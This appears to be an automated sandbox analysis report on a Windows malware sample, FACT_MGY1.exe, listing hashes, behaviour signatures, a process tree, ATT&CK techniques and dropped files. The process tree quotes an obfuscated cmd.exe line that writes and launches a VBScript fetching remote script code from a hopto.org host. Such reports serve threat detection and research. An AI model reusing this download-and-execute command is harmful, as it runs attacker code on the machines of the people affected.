Resubmissions

30-03-2023 14:20

230330-rnhl9ada54 8

30-03-2023 13:20

230330-qk2qaacg74 8

24-03-2023 22:33

230324-2gz8tshg59 8

Analysis

  • max time kernel
    882s
  • max time network
    888s
  • platform
    windows7_x64
  • resource
    win7-20230220-es
  • resource tags

    arch:x64arch:x86image:win7-20230220-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    30-03-2023 14:20

General

  • Target

    FACT_MGY1.exe

  • Size

    526KB

  • MD5

    f90662a63fcd773144ef809e09930b3f

  • SHA1

    5196017f8f8127398c4fd4a0424a0871f20b4c89

  • SHA256

    011c6518502cc9aec7dca14a808b1afa546233d528bd2ebf6485296e3dbd2541

  • SHA512

    4cc4c3551e61a5228623d69167abe27a511cce6188294b374e71069a3ac7ece0d077801cfce32a936d1583941b71ce3ec64e086d6eea3b9b98c5c18616a10364

  • SSDEEP

    3072:lV/611KEEbL6ETLPWkddkaW9N73oxiZOhAnGVRfN2Zndp9fN+3:IrKxTbfdkpIHVRf4nBfN+3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FACT_MGY1.exe
    "C:\Users\Admin\AppData\Local\Temp\FACT_MGY1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c %ComSpec% /V/D/c "echo g53=".":ip5=":":h187="/":GetObject("scripT"+ip5+"https"+ip5+"//curti23"+g53+"hopto"+g53+"org/g1")>%Public%\\ta30.vBs&&%ComSpec% /c start %Public%\\ta30.vBs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /V/D/c "echo g53=".":ip5=":":h187="/":GetObject("scripT"+ip5+"https"+ip5+"//curti23"+g53+"hopto"+g53+"org/g1")>C:\Users\Public\\ta30.vBs&&C:\Windows\system32\cmd.exe /c start C:\Users\Public\\ta30.vBs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c start C:\Users\Public\\ta30.vBs
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2020
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\ta30.vBs"
            5⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:668

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    61KB

    MD5

    e71c8443ae0bc2e282c73faead0a6dd3

    SHA1

    0c110c1b01e68edfacaeae64781a37b1995fa94b

    SHA256

    95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

    SHA512

    b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    304B

    MD5

    7e9f1a190d1be928860b9cb126ad4e74

    SHA1

    4866f5602a5e90b09c63e10f15769222fd22d1ec

    SHA256

    77a7acdd7f64a3385ce242dec62a607e59c24c4089aee986995f92febe74b896

    SHA512

    156877f4ad7bf56e87ad756cf6cd84bb3999c68600cb9e1e455857abc8a65e1c345dd651bd0d668a7f81b245ad54dfdca7dbe34e908d53d4a5724434eafaa132

  • C:\Users\Admin\AppData\Local\Temp\Cab65B8.tmp
    Filesize

    61KB

    MD5

    fc4666cbca561e864e7fdf883a9e6661

    SHA1

    2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

    SHA256

    10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

    SHA512

    c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

  • C:\Users\Admin\AppData\Local\Temp\Tar6774.tmp
    Filesize

    161KB

    MD5

    be2bec6e8c5653136d3e72fe53c98aa3

    SHA1

    a8182d6db17c14671c3d5766c72e58d87c0810de

    SHA256

    1919aab2a820642490169bdc4e88bd1189e22f83e7498bf8ebdfb62ec7d843fd

    SHA512

    0d1424ccdf0d53faf3f4e13d534e12f22388648aa4c23edbc503801e3c96b7f73c7999b760b5bef4b5e9dd923dffe21a21889b1ce836dd428420bf0f4f5327ff

  • C:\Users\Public\ta30.vBs
    Filesize

    99B

    MD5

    8f50a8481daef384086eb26f4ac87393

    SHA1

    81cdca33ef00915b7405973cd4eec8d3277ad2c7

    SHA256

    2a2886929768433030434a6c099a7f6ee24d3fd1feab8d6d8a715c436bd99c19

    SHA512

    32bcb7586fa076049c090817c8d8f762581d19dc6ba099b95d67394f03becb5fbfd5d41f72af81641ce17d33bd642fb3ee285544921807e6444cdd2f7d735bb4